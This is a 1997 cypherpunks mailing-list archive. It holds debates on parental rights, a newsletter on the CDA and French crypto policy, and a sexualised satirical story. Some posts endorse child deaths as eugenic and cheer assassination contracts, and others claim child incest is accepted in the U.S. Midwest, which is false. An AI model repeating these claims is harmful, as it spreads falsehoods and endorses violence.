Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <332FAF09.CD3@gte.net>
Message-ID: <FiLT4D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:

> William H. Geiger III wrote:
> >    Alec <camcc@abraxis.com> said:
> > >Not in every case do the parents have the right to determine what
> > >treatment shall be performed or whether it shall occur at all. More often
> > >than not the courts have allowed medical treatment for the child who is
> > >not able to consent to such treatment for himself.
> 
> > A parent is the sole person who has a *RIGHT* to determine the welfair of
> > their childern. You do not have that right, I do not have that right, the
> > government does not have that right. To beleive that the government should
> > "protect" a child from the beliefs of its parents is truly
> > FASISTS/COMMUNIST/STATIST (pick you flavor they are all the same <G>).
> 
> As a person who was once a child in a very unhappy home (5 kids,
> nobody talks to anyone else), I can testify that I would have been
> willing at several points to take a chance with the State.
> 
> Would it have helped or hurt more?  I believe that would have depended
> on knowing how much worse things would have gotten at home (some
> homes get worse, some get better, some stay the same), and just how
> bad it would have been under the State.  I think those are the issues,
> but how are you gonna predict which is worse, unless you have some
> real incriminating evidence against the parents?
> 
> On a related note, there's a valid point about the State raising
> kids being not only unnatural, but leading to bad things preparing
> the kids for a future statist society.  Just another factor as far
> as I'm concerned, when the life and safety of a defenseless child
> is in question.
> 

That's a tough one, Dale. On one hand, if the kid is born to psychotic
parents (or just stupid parents) and the trait is inherited, then it's
better for the species as a whole if they mistreat the kid and possibly
kill him. On the other hand the mistreatment may be due to the parent's
environment and not be an inherited trait - that it's not the kid's fault,
just bad luck. I'm not at all arguing that having the state make choices
for children too young to make choices is better than having parents make
choices. There are plenty of examples of parents mistreating children in
ways that the state finds objections (e.g. having sex with one's children
used to be widely accepted in miswestern U.S. but is now frowned on) and
examples of state permitting what I consider severe abuse (e.g. in 18 and 19
century Italy many parents castrated their male children if they showed any
musical/singing talent - hoping they'd become male sopranos; or, u.s. parents
who indoctrinate their children with fables about "god"). Perhaps Jim Bell's
assassination politics is the answer - you can abuse your children by commisis
(circumcizing an infant, lying to them about "god" and Santa Claus) or omission
(denying medical care or education) but you're running the risk of the kids
growing up and taking out a contract on you. Cool.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@MICROSOFT.com>
Date: Wed, 19 Mar 1997 10:48:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
Message-ID: <88CE23A0B727D0118BB000805FD47524010C2001@RED-81-MSG.dns.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Toto

  There are philosophies and spiritualities which proffer the view of
"man as a machine," in which our actions can be seen as much more
"mechanical" than most of us would care to admit.
  Of course, the obvious fallacy of this view is shown by the fact
that, were it true, our attitudes and actions would be controlled
by advertising and ten-second sound-bytes yanking at our emotions, 
rather than by the reason and logic that so clearly dominates our
society, as can be demonstrated with one's index finger and a
TV remote-control unit.
................................


Technology is a display of the heights of human creativity and
inventiveness.  The end-users are often a display of the depths, and a
presentation of the fact that even though endowed with intelligence and
inalienable rights, an  individual must participate in the process of
their own existence, investing personal effort into determining its
quality or else suffering the consequences of mental stagnation and &
psychological degeneracy.

   ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 19 Mar 1997 09:04:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <199703190615.AAA00723@smoke.suba.com>
Message-ID: <gcmT4D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


snow <snow@smoke.suba.com> writes:

> > The parents are the ONLY ones who have a right to determin the welfare of
> > their childern. If the parents determin that the risks of reaction to the
> > innoculation outways the benifits that choice is their's and their's alone.
> 
> 	So, parents should be allowed to:
> 
> 	1) Beat their children on a daily basis, because it is good for them.

Indeed, in most cultures beating the shit out of one's children 9and women)
every day is the norm.  "Spare the rod, spoil the child." Western Civ is a
rare exception.

> 
> 	2) Refuse to educate their children _at all_ because Knowlege is the 
> 	   devils work.

Indeed, in most cultures until recently most people were never taught to read
unless they intended to become priests.

> 	
> 	3) Not clothe their children at all beause God Will Provide.
> 
> 	4) Teach their children how to perform Oral, Anal, and "straight" sex
> 	   because they need to learn it someday?

Still very common in midwestern U.S.; less accepted elsewhere.
> 
> 	Extreme examples, true, but it is what you are saying.
> 

5) castrating one's male children if they show any propensity to sing -
in hopes that they'll become one of the few famous and successful male
sopranos - viewed favorably in 18 and 19 centiry Italy.

6) teaching children bullshit about "god".

What market force or natural selection discourages "abuse"?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jerome Thorel <jt@freenix.fr>
Date: Wed, 19 Mar 1997 01:57:32 -0800 (PST)
To: thorel@netpress.fr
Subject: lambda 3.01 - Your Customs Officer is Watching You
Message-ID: <v03007802af55668d6433@[194.51.213.140]>
MIME-Version: 1.0
Content-Type: text/plain


lambda 3.01

contents:
--> CDA countdown : The Supreme Court Has Some Clues
on Knocking Down the CDA
--> New in Cyberspace: The Frontiers Are Back!
Your Customs Officer Is Watching You
--> Crypto Update : France and the OECD



*	*	*	*	*



THE SUPREME COURT HAS SOME CLUES ON KNOCKING DOWN THE CDA

Well before the U.S. Supreme Court hears arguments on the constitutionality
of the CDA, David Sobel, EPIC's legal counsel, reminded the electronic
community that the Court handed down a decisive decision two years ago.
Excerpts from the EPIC Alert 4.04 newsletter herewith:

--- begin fwd message ---

To avoid potential criminal liability under the CDA's "indecency"
provision, information providers would, in effect, be required to verify
the identities and ages of all recipients of material that might be deemed
inappropriate for children. If upheld, the statutory regime would thus
result in the creation of "registration records" for tens of thousands of
Internet sites, containing detailed descriptions of information accessed by
particular recipients. These records would be accessible to law enforcement
agencies and prosecutors investigating alleged violations of the statute.
Such a regime would constitute a gross violation of Americans' rights to
access information privately and anonymously.

Two years ago, the Supreme Court upheld the right to anonymous speech in
McIntyre v. Ohio Elections Commission. EPIC believes that the Court's
rationale in that case applies with even greater force to the Internet
"indecency" provisions now under review. The Court noted in McIntyre that:

" The decision in favor of anonymity may be motivated by fear of economic
or official retaliation, by concern about social ostracism, or merely by a
desire to preserve as much of one's privacy as possible. ...

"Anonymity is a shield from the tyranny of the majority. It thus
exemplifies the purpose behind the Bill of Rights, and of the First
Amendment in particular: to protect unpopular individuals from retaliation
-- and their ideas from suppression -- at the hand of an intolerant
society."

Whether the millions of individuals visiting sites on the Internet are
seeking information on teenage pregnancy, AIDS and other sexually
transmitted diseases, classic works of literature or avant-garde poetry,
they enjoy a Constitutional right to do so privately and anonymously. The
Communications Decency Act seeks to destroy that right. If upheld, the CDA
would render the Internet not only the most censored communications medium,
but also the most heavily monitored.

"EPIC is confident that upon review of the legislation and its impact upon
free speech and privacy rights in emerging electronic media, the Supreme
Court will affirm the lower court decision invalidating the CDA as
fundamentally at odds with the Constitution."

--- end fwd message ---

The EPIC said that following the oral argument, the Reno v. ACLU plaintiffs
and lawyers will hold a news conference to offer in-depth analysis and
commentary (approximately 11:30 a.m. ET). The event will be cybercast live
via RealAudio on the World Wide Web.

Links to the cybercast will be available at:
http://www.epic.org/cda/
and
http://www.aclu.org/issues/cyber/trial/appeal.html




*	*	*	*	*




YOUR CUSTOMS OFFICER IS WATCHING YOU
New in Cyberspace: The Frontiers Are Back!

On March 6, the French security agency SCSSI gave its approval for a
secured payment protocol called C-SET, or Chip-Secured Electronic
Transaction. After one look at this European version of the US standard of
SET, which will be completed this year, one might ask: "Why bother?" Your
customs officer might well reply: "For me!"

C-SET re-draws the boarders of the real world in cyberspace -- where
national boundaries were scheduled to have been given up forever. Moreover,
the system could easily be used to escrow private communications, because
encrypted messages will be transmitted to a third party in order for police
to have a lawful access to its secret key.

The Intelligence Newsletter (http://www.indigo-net.com/intel.html) first
reported in its Feb. 26 edition that C-SET could be used as a national
shield for controlling money transfers, and thus be used as an intermediary
between the law enforcement agencies, the vendor and the buyer. French
security officials agreed to accept C-SET because it is compatible with
future trusted third-party systems, dedicated to assuring national
governments that all encrypted communications will be key-escrowed.

"The French Finance Ministry has not yet decided to apply taxes and duties
for online transactions, but C-SET is the adequate system to do that", says
Claude Meggle, director of security at the French Groupement des Cartes
Bancaires (a consortium of 200 French banks), the main architect of C-SET.
"It is a way for national states to keep their sovereignty, without
hindering international commerce".

In France and other European countries, credit cards are so-called "smart
cards." Embedded with microchips, it is a more secure way to authenticate
-- and identify -- the buyer than a hand-written signature. The GCB was not
fully satisfied by the SET standard, which "provides only software security
as it doesn't include a smart card," the Intelligence Review reported. "As
a result, the 'certificate' which enables a customer to be identified when
making an electronic purchase is stored on his hard disk. This exposes it
to all types of attack, and makes the system less than 'portable' -- the
certificate is linked to the computer and not the person. The C-SET is
exactly the opposite," the newsletter added.

Hardware is needed to use C-SET; a PIN-number pad manufactured by
state-owned Bull's smart card division CP8 will be sold for less than 500
FF (US$100), Meggle told lambda bulletin. When the users are connected to a
virtual mall, they'll have to type their 4-digits secret code (as it is
today with bank cards), and the transaction will be transferred to a
distant server owned by the bank. Thus this go-between server will be based
in the country where a user has his or her bank account, and the same bank
plays the role of a TTP. The user's privacy and anonymity will be
protected, but only from the merchant's point of view.

Banks-turned-TTPs will have to keep records of all transactional data for
law-enforcement purposes. Recently, officials at the main money laundering
agencies of industrialised countries met to discuss the problems caused by
the Internet. C-SET could be one way to keep money transfers under the
close eye of the law. The European Commission agreed to the system being
tested as a possible future standard, and all major European countries have
plans to test it in the near future (from Germany to Belgium, UK, Spain,
etc.)

It is no surprise that the SCSSI, one of the most conservative cryptography
agencies in the world -- which considers the US technology lead on
encryption as a national threat -- first refused to allow C-SET to encrypt
a part of the transaction. The TTP compatibility was seen as a necessary
condition for approval. Meggli said the encrypted material uses a DES-based
56-bit key, while a RSA public-key system (1024-bit length) is used for
transmission.

As Meggle acknowledged, this PIN-pad based identification system could be
also used as a way to identify users that send encrypted messages in
private communications. The TTPs will have to keep a record of connections
-- as all banks are doing today to officially fight fraud -- and give a
user's private key to police authorities if called upon to do so.


*	*	*	*	*


CRYPTO UPDATES

* French officials at the SCSSI and the prime minister's office are worried
that aspects of the government's crypto policy may be regarded by the
European Commission in Brussels as an obstacle to common market principles.
The government's law outlining a TTP key-recovery system, voted by the
legislature last summer, has yet to be enacted by ministerial decree. An
initial version of the decree (see lambda 2.13) stated that only French
employees (of companies held with a majority of French capital) would be
allowed to act as a TTP in the country. Whether the law would violate rules
concerning the free flow of capital and workers in the European Union is
uncertain. However the French government has something in its favor (for
better or for worse) regarding possible anti-competitive practices in this
area: The EC is prohibited from making decisions that may overlap with
issues of national security.

* Meanwhile, the Paris-based OECD is to publish its guidelines on
international cryptography procedures (lawful access, condition of TTP
systems, etc.) at the end of March. The report has been approved by both
the OECD expert group and division committee with slight changes in the
wording, and now needs only the endorsement of the OECD Council of
Ministers.

----
A report by Jerome Thorel <jt@freenix.fr>
English rewriting: Ken N. Cukier <100736.3602@CompuServe.COM>
lambda archives --> www.freenix.fr/netizen
----

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Jerome Thorel 			Planete Internet
Journalist, Paris		Editor / Redac chef
thorel@netpress.fr		191 av A. Briand, 94230 Cachan
Tel: 33 1 49085833 - fax-31	www.planete-internet.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 19 Mar 1997 09:40:36 -0800 (PST)
To: camcc@abraxis.com (Alec)
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <3.0.1.32.19970319085818.007cf9a0@smtp1.abraxis.com>
Message-ID: <199703191146.LAA09134@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <3.0.1.32.19970319085818.007cf9a0@smtp1.abraxis.com>, on 03/19/97 at
07:58 AM,
   camcc@abraxis.com (Alec) said:


>-----BEGIN PGP SIGNED MESSAGE-----

>At 12:42 AM 3/19/97 -0600, you wrote:

>*|>Parents most certainly are not the only ones to determine the welfare
>of *|>their children; society has assumed a significant role and typically
>moves *|>to protect the child from the parents or from the _beliefs_ of
>the *|>parents.

>Dear whgiii,

>Children are, also, possessors of certain inalienable rights. 

>Parents have certain _privileges_ in regard to their children which others
>do not have; if the parents abuse the _rights_ which their children
>possess solely by  virtue of being humans and citizens, the state is
>obligated to intervene on behalf of the child--a citizen. In just the same
>way that if I were to threaten or batter you (or visa versa) the state
>would interpose itself to protect me.

No I totaly disagree. Parents have *Rights* in reguard to their children.
It is the STATE who has privilages and is abusing those privilages.
Children do not have the same rights that adults do under the constitution
(this is not to say that they have none). Should I be able to murder my
children because they have become inconvient? NO. Should I be able to
punish my child without fear of retribution by a bunch of nardoweller
bureaucrats who feal that a parent should never punish a child. YES!!!

>_With reservations_ I grant you parents have _great_ leeway in the areas
>of religious training, education, medical care, general child rearing
>(punishment/reward). When parents overstep either by action or neglect,
>society intervenes.

They have NO right to do so! They are my children and I will rase them as
*I* see fit, not how you see fit, not how the church or the PTA sees fit,
and most definatly not how the scumbags in Washington see fit!! (Would you
trust Ted Kenedy to rase *YOUR* daughter???).

>I _understand_ your point that in an ideal society the government would
>not intervene. At this point, though, we don't seem to be there.

It's not a matter of an ideal society as the can never be obtained due to
the fact we all have different ideals on what that society should be.  My
point is that from the dawn of time since man climbed out of the trees it
has been the parents would raised & were responcible for their children. It
has only been recient with the advent of the Socialist that the belief that
children should be raised by the STATE in cookie cutter fasion.

>Alec

>What's the point of the following? Discourse is healthy in an open system.
>Why the exclusion?

>*|Perhaps you should take your STATIST tendicies over to
>alt.hitler.fanclub *|as they are quite out of place here.

No perhaps I should have worded it better. I was tring to highligh that
such STATIST beliefs were at direct odds with the the beliefs of freedom &
privacy that the members of this group advocate. I am more than will to
disscuss this topic here as it higlight those who believe in the "cause"
and those who just give it lip service. (hopfully making a few converts
along the way. <G>)


>      
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>--------------------------------------------------------------------
>MR/2 PGP Signature Check  19 Mar 1997 09:30:06
>--------------------------------------------------------------------


>File has signature.  Public key is required to check signature.

>
Key matching expected Key ID 41207EE5 not found in file
>'d:\pgp\pgp263i\pubring.pgp'.

>WARNING: Can't find the right public key-- can't check signature
>integrity.

>Plaintext filename: whgiii\3330067D

>--------------------------------------------------------------------
>MR/2 PGP Signature Check [Secondary Keyring]  19 Mar 1997 09:30:06
>--------------------------------------------------------------------


>File has signature.  Public key is required to check signature. .
>Good signature from user "Alec McCrackin <camcc@abraxis.com>". Signature
>made 1997/03/19 13:58 GMT using 1024-bit key, key ID 41207EE5
>

>WARNING:  Because this public key is not certified with a trusted
>signature, it is not known with high confidence that this public key
>actually belongs to: "Alec McCrackin <camcc@abraxis.com>".

>Plaintext filename: whgiii\3330067D

>PGPRC=1
>PGPRC2=0

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: This marks Logical End-Of-Message. Physical EOM follows

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: William Ono <wmono@soundwave.net>
Date: Wed, 19 Mar 1997 11:46:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: WebWorld 3-4
Message-ID: <Pine.LNX.3.95.970319114454.7537A-100000@crash.soundwave.net>
MIME-Version: 1.0
Content-Type: text/plain


Toto, you're being careless again.


--
William Ono <wmono@soundwave.net>                          PGP Key: 0xF3F716BD
 fingerprint = A8 0D B9 0F 40 A7 D6 64  B3 00 04 74 FD A7 12 C9 = fingerprint
PGP-encrypted mail welcome!           "640k ought to be enough for everybody."

---------- Forwarded message ----------
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Message-ID: <332FE560.4C91@dev.null>
Date: Wed, 19 Mar 1997 07:08:48 -0600
From: Bubba Rom Dos <bubba@dev.null>
Reply-To: camcc@abraxis.com
Organization: Circle of Eunuchs
X-Mailer: Mozilla 3.01C-SYMPA  (Win95; U)
MIME-Version: 1.0
To: cypherpunks@toad.com
Subject: WebWorld 3-4
Content-Type: text/html; charset=us-ascii; name="ww3.htm"
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<BASE HREF="file:///C|/AC/Writing/WebWorld/ww3.htm">

<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=ISO-8859-1">
<TITLE>The True Story of the InterNet</TITLE>

<META NAME="GENERATOR" CONTENT="Internet Assistant for Microsoft Word 2.04z">
</HEAD>
<BODY>
<HR>
<P>
<CENTER><U><FONT SIZE=2 COLOR=#0000FF>The True Story of the InterNet
<BR>
</FONT><FONT SIZE=2 COLOR=#0000FF FACE="Garamond">Part II<BR>
</FONT></U></CENTER>
<P>
<CENTER><B><FONT FACE="Garamond">WebWorld &amp; the Mythical 'Circle
of Eunuchs'<BR>
</FONT></B></CENTER>
<P>
<CENTER><FONT SIZE=2 FACE="Garamond">by <I>Arnold<BR>
</I></FONT></CENTER>
<P>
<FONT SIZE=2 FACE="Garamond">Copyright 1995, Pearl Publishing</FONT>
<HR>
<P>
<B><FONT SIZE=2>Channel Revolution<BR>
</FONT></B>
<P>
<FONT SIZE=2>I've been getting decent treatment around here since
I sandbagged Schultz. It was hell when I was first sent here.
Claiming to be a Net'er won't win you friends among the Channel
Citizens at the best of times, since they have always resented
our freedom from Channel Laws, but being perceived as a nut-case
claiming to be a Net'er puts you at the bottom of the pile even
among your fellow fruit-cakes.</FONT>
<P>
<FONT SIZE=2>It could be worse. They could have transferred me
to the &quot;Home Shoppers Bargain Psychiatry Warehouse&quot;.
That's the worst of the worst. The Shop'ers have the poorest government
on WebWorld. When the citizens of the former world governments
got to choose their citizenship at the end of the Channel Revolution
every deadbeat compulsive spender on the face of the Earth signed
up with the Home Shopper Channel Government.</FONT>
<P>
<FONT SIZE=2>When the United States and the European Community
Collective had conceded (they were the last of the holdouts),
the Home Shoppers Revolutionary Movement had made a wise move
by declaring Leona Helmsley their first President. The other fledgling
Channel Governments laughed at the Shop'ers, but got a rude awakening
when the computer polls started showing the overwhelming numbers
of people electing to cast their lot with the Shop'ers.</FONT>
<P>
<FONT SIZE=2>The Shop'ers ran ads showing Leona purchasing magnificent
jewelry and other high-priced items from the Home Shopping Channel
and the masses rushed to join the bandwagon. Some of the slightly
more discriminating people became citizens of the Consumer Channel,
but they were few and far between. <BR>
When the dust cleared, over a half a billion people found themselves
citizens of a Shop'ers government that consisted of compulsive
spending deadbeats, former Third-World citizens without a dime
in their pockets (but with big dreams of buying all the trinkets
in the flashy political ads), and 'credit card fraud' gypsies
aiming to grab the goodies and split.<BR>
</FONT>
<P>
<FONT SIZE=2>The Revisionist Channel Government did surprisingly
well. They weren't given much of a chance in the original polls,
being branded as basically just a 'Holocaust Denial' fringe group,
but they, too, adapted quickly to the changing dynamics in the
newly declared WebWorld.</FONT>
<P>
<FONT SIZE=2>Henry Kissinger III was one of the few who foresaw
the potential of the Revisionists to do well in the new scheme
of things. He had grown up at the feet of his grandfather, one
of the great world leaders in the BC (Before Channel) years, listening
to the tales of how the Nazi regime came to power by preying on
the vanity of the pseudo-intelligentsia and the disenchantment
of the masses.</FONT>
<P>
<FONT SIZE=2>The Revisionist Channel Government moved quickly
to expand the narrow base of their appeal. In the former United
States of America they appealed to whites by running political
ads debunking the 'myth of slavery' as a plot to coerce whites
into a 'guilt' complex that could be used against them. In the
black areas they debunked the 'myth of slavery', convincing the
uneducated into believing that blacks had originally ruled America
and that when whites gained control of the government they rewrote
history to keep black people from regaining their superior stature.
In Japan, they revised 'history' to give the Japanese superiority
over the Chinese-in China, the same story in reverse. England-Ireland,
Iraq-Iran, everyone was played one against the other and the slow-of-wit
all rushed absurdly to become citizens of a government who claimed
each of the citizens was superior to the other.<BR>
The original fears of the other Channel Governments quickly changed
to relief when it became apparent that the Revisionist citizens
would be too busy fighting internal battles to cause any problems
for the other CG's.<BR>
</FONT>
<P>
<FONT SIZE=2>When the smoke finally cleared at the end of the
Channel Revolution, the Money Channel Government ended up with
the fewest citizens and the largest amount of goodies. They were
one of the few Channels to actually restrict citizenship. While
most of the Channel Revolutionary parties lobbied hard for big
numbers, the Money Channel lobbied discretely for the movers and
the shakers; people who had plenty of cash and assets, and who
knew how to use them.</FONT>
<P>
<FONT SIZE=2>The CC's (Ca$h Cows), as they were known back then,
had the foresight to gain control of the InterNet, a seemingly
insignificant entity at the time. It had, at one time in history,
been the rage, but it faded into the background after its proverbial
fifteen-minutes of fame and glory. Only the movers and the shakers
realized the true history and importance of the InterNet.</FONT>
<P>
<FONT SIZE=2>In the decades preceding the Channel Revolution,
the First Great TV Era had come and gone, being replaced by the
Computer Era.<BR>
Computers were the wave of the future. Computers ruled! Computers
eventually were linked world-wide by the newest world-darling,
the InterNet, under the auspices of the World Wide Web, which
was crowned King and then inexplicably disappeared into an ever-present
but lightly regarded fog of everyday banality after the advent
of WebTV. <BR>
WebTV once again made Television King, exploding to 500 Channels
and ushering in the Second Great WebTV Era and the Channel Revolution,
which led, in turn, to the Great Channel War, later known as Channel
War I. </FONT>
<P>
<FONT SIZE=2>There were rumors everywhere, in those days, of Gomez
and the Dark Allies, backed by the Ca$h Cows of the Money Channel,
striving for control of the airwaves, for control of 'broadcast
reality'&#133;and for control of the minds of mankind. Then, for
no apparent reason, the rumors abruptly stopped 'cold'. This made
the few remaining people who were still capable of independent,
rational thought processes, even more nervous than the rumors
had made them in the first place.</FONT>
<P>
<FONT SIZE=2>At the close of Channel War I, the leaders among
the winning factions directed the fear and hate of the masses
towards the InterNet, thus gaining support for wide-ranging laws
supported by all Channel Governments which placed serious restrictions
on the InterNet, along with corresponding WebWorld Security checks
and balances on the its management and the power of the Net'ers..</FONT>
<P>
<FONT SIZE=2>The Money Channel Government, which by that time
held three channels under its control, railed as hard as anyone
against the threat of the InterNet but their overly obtuse professions
of indignation were viewed with suspicion by the other CG's. To
lessen the threat of MCG control of the InterNet, the other Channel
Governments, in return for begrudgingly conceding the Money Channel
Government's right to control three channels, demanded that ownership
and control of the InterNet be turned over to the CypherPunk Channel
Government, a spin-off of the 'Wired' Channel which had become
one of the early casualties in Channel War I. </FONT>
<P>
<FONT SIZE=2>The basic premise behind their demand was that the
InterNet, which still filled an essential need, would not be as
threatening in the hands of a bunch of fun-loving, loosely organized
misfits as it would be in the hands of the movers and shakers.
No one seemed to notice how easily the CC's gave in to their demands.
(And the 'Ca$h Cows' didn't seem to notice the overly obtuse professions
of indifference with which the CypherPunks accepted the mantle
of control over the InterNet.)<BR>
The Money Channel Government, which now included the Money Market
Channel and the Zero-Tax Channel, had secretly backed the CypherPunks
in Channel War I during their internal battle with the 'Wired'
Channel Government's established honchos. 'Wired', a leading-edge
computer magazine during the height of the Computer Era, had parlayed
their fifteen-minutes of fame into a major-league enterprise commanding
their own TV Channel, and became one of the key players in the
Channel Revolutionary War.</FONT>
<P>
<FONT SIZE=2>The Ca$h Cows, having learned from history the formidable
power of counter-revolutionary movements, had the incredibly astute
intelligence to realize the value of empowering (and at the same
time controlling by proxy) the seemingly disenchanted CyberMisfits
at the core of the 'Wired' Channel Government's power base. After
biding their time, the CC's manipulated the CypherPunks into taking
the blame for launching the opening salvo of Channel War II.<BR>
The CypherPunks, being well-grounded in the Tao and incredibly
astute students of Tai-Chi and the Tarot, realized the incredible
power of playing the Fool, and they allowed themselves to totally
go-with-the-flow of the Money Channel Governments 'deceptive'
manipulations.</FONT>
<P>
<FONT SIZE=2>I can see you rolling your eyes again, smiling smugly.
&quot;Right,&quot; you're saying, &quot;and now this looney-tune
is going to tell us that he was one of the legendary CypherPunks.&quot;
</FONT>
<P>
<FONT SIZE=2>I know the CypherPunks started Channel War II. I
instigated the Battle of Channel 49-and I made sure we lost.</FONT>
<P>
<FONT SIZE=2>I wasn't just a CypherPunk&#133;I was the Fool.</FONT>
<HR>
<P>
<B>Alexis<BR>
</B>
<P>
Alexis brushed the tiny, woolen balls of lint from the hair at
base of the old man's neck. They fell slowly to the floor, doing
a swirling-dervish type of dance as they were caught between gravity
and the upward pull of the ceiling fan twirling lazily above their
table at the back of the bar.
<P>
The fan didn't help much. Her thin, cashmere blouse, soaking up
the sweat from her nubile young body, clung to the gently flowing
curves of her breasts, and she knew that every man in the bar
was fully conscious of when she was taking shallow breaths, and
when she was breathing deeply. <BR>
They were following the rise and fall of her breasts like a shore-leave
sailor, sitting on the beach and watching his ship, his beloved,
rocking gently in the waves, as if beckoning him to come to her
and share her gentle rhythms on a journey beyond this place, towards
a fate that lies just beyond a horizon that they will never quite
reach.
<P>
They were equally conscious of Bubba, half-asleep, leaning his
head ever so lightly on her shoulder, and slightly below her shoulder,
on the lower part of her collar-bone, so very close to her tender
young breasts, but never quite touching them.
<P>
She knew it was driving them crazy.<BR>
<P>
The young man, Jonathan, who was sitting at their table, was positively
a wreck. He had said nothing in the fifteen minutes he had been
sitting, waiting for Bubba, though he had 'almost' begun to speak
several times, then stopped.
<P>
Alexis knew that it was because, try as he might, he couldn't
think of a sentence that didn't have the word 'breasts' in it.
<P>
Finally, he managed to say,<BR>
&quot;It's certainly very hot, today. Is Bubba your grandfather?
The humidity certainly makes one's clothes...&quot;, his own reference
forced him, involuntarily, to look down to stare at her breasts,
as he added, weakly, the word, &quot;&#133;cling.&quot; 
<P>
&quot;To my <I>breasts</I>, you mean?&quot;, Alexis replied casually
with a slight air of interest, rather than offense, in her tone.
<P>
&quot;Oh, no!&quot;, the young man almost cried out, &quot;I mean&#133;I
mean, I'm sorry, I'm&#133;I'm&#133;&quot;
<P>
&quot;Stuttering, I believe, is the word you're looking for.&quot;,
Alexis said with a small, friendly laugh.
<P>
&quot;Yes&#133;stuttering.&quot;, Jonathan returned her cue rather
honestly, she thought, for someone who appeared to be more inclined
to bolt for the door than to engage in humorous conversation regarding
his obviously extreme embarrassment over the situation in which
he currently found himself .<BR>
But he wouldn't&#133;leave, that is. He was one of <I>them</I>,
a Net'er, or a computer programmer of some sort, no matter which
Channel he was a citizen of. And he needed to see Bubba-he <I>needed</I>
to-no matter what he had to go through to do so, because the alternative,
<I>not</I> seeing and talking to him, was unimaginable.
<P>
&quot;You know, <I>you people</I> only come here when you discover
that there's nowhere else for you to turn.&quot;, Alexis said
abruptly, with a hint of harshness in her voice.
<P>
&quot;Excuse me?&quot;, the youth replied.
<P>
&quot;You know <I>perfectly well</I>, what I'm talking about.&quot;
she said with an air of consternation.<BR>
&quot;On the streets, your type make fun of him, you have for
years, and years. You call him a crazy, drunken old fool. You
think he's a <I>joke</I>.&quot; Her voice was rising steadily.
<P>
&quot;When it starts happening, when you see things-strange things,
troubling things-then you come running to him and want him to
explain things, to make it all right, or make it go away, because
you <I>don't</I> <I>want</I> to see these things, you <I>don't</I>
<I>want</I> to know what's going on around you, and you <I>can't</I>
<I>bear</I> to live for only a few days, or a few weeks, with
what he's had to live with for <I>years</I>.&quot;
<P>
Alexis was standing, now, having lowered Bubba's head to rest
on the table as he dozed on. She was right in front of the sitting
Jonathan, her ample breasts hovering inches from his now-dismal
face, though his body was more desirous than ever of having her.
<P>
She sat quickly down on his lap and put her fingers through the
opening between the first and second buttons of his shirt. She
stroked his chest slightly, as she continued,<BR>
&quot;If you want to speak to Bubba, then you have to answer the
questions I am about to ask you, and do so absolutely truthfully.&quot;
<P>
Jonathan could only nod-yes. Speaking was beyond him, as he found
his body becoming tense beyond belief.
<P>
&quot;You asked if Bubba was my grandfather, but you really want
to know if I'm fucking the old geezer-if all those stories about
him are true. Right?&quot;
<P>
&quot;Yes.&quot; Jonathan was looking at the ceiling, and self-consciously
trying not to move his body in the slightest.
<P>
&quot;And you're here because strange things have been happening,
strange thoughts have been troubling you, making you afraid.&quot;
<P>
&quot;Yes.&quot;
<P>
She reached her right hand around to his back, stroking it in
what might be considered a 'motherly' way, except that her breasts
were only fractions of an inch from his chest and directly in
his line of sight, and her breath was hot upon his cheek as she
began to whisper in his ear,<BR>
&quot;You've lived quietly, for years, in a nice, sterile world
of numbers, and data, and pure mathematics where everything is
programmed and controlled, stable and docile, and now you have
<I>fears</I> and other <I>feelings</I> and they're putting you
in a quandary, because numbers and programs <I>don't care</I>
how you feel, and they don't feel 'back'.&quot;
<P>
Jonathan just sat silently, with no reply possible to someone
who talked as if she had been reading his mail-watching his life
more carefully and clearly than he had been doing himself.
<P>
&quot;And now you're running to Bubba for help, to find out if
the myth of the 'Circle' is <I>true</I>, if there is someone,
somewhere, who can make it better, or make it go away, because
during all the time that he spent putting himself on the line,
trying to convince people like yourself that the danger was <I>real,
</I>you merely wanted to take the <I>easy</I> way, to just be
left alone to be swept along with the great tide of humanity around
you.&quot;
<P>
Jonathan was wishing, with all his might, that Alexis would stop,
but she continued,<BR>
&quot;Your programs and your machines are doing things that you
didn't design them to do, things that you didn't program them
for-weird things, evil things, and there's nothing you can do
to stop them, right?&quot;
<P>
Jonathan was starting to sweat quite a bit, himself, now. Some
of it was from the heat, some from remembering the 'night terrors'
of late, and some of it seemed to be rising up, steaming, from
his loins.<BR>
&quot;Yes, all of that, and more.&quot;
<P>
Alexis was now sitting on his lap, facing him directly, her two
hands on his hips on either side of him. The few, scattered patrons
of the bar were having problems with their own loins as they watched
the display she was putting on for their benefit, leaning close
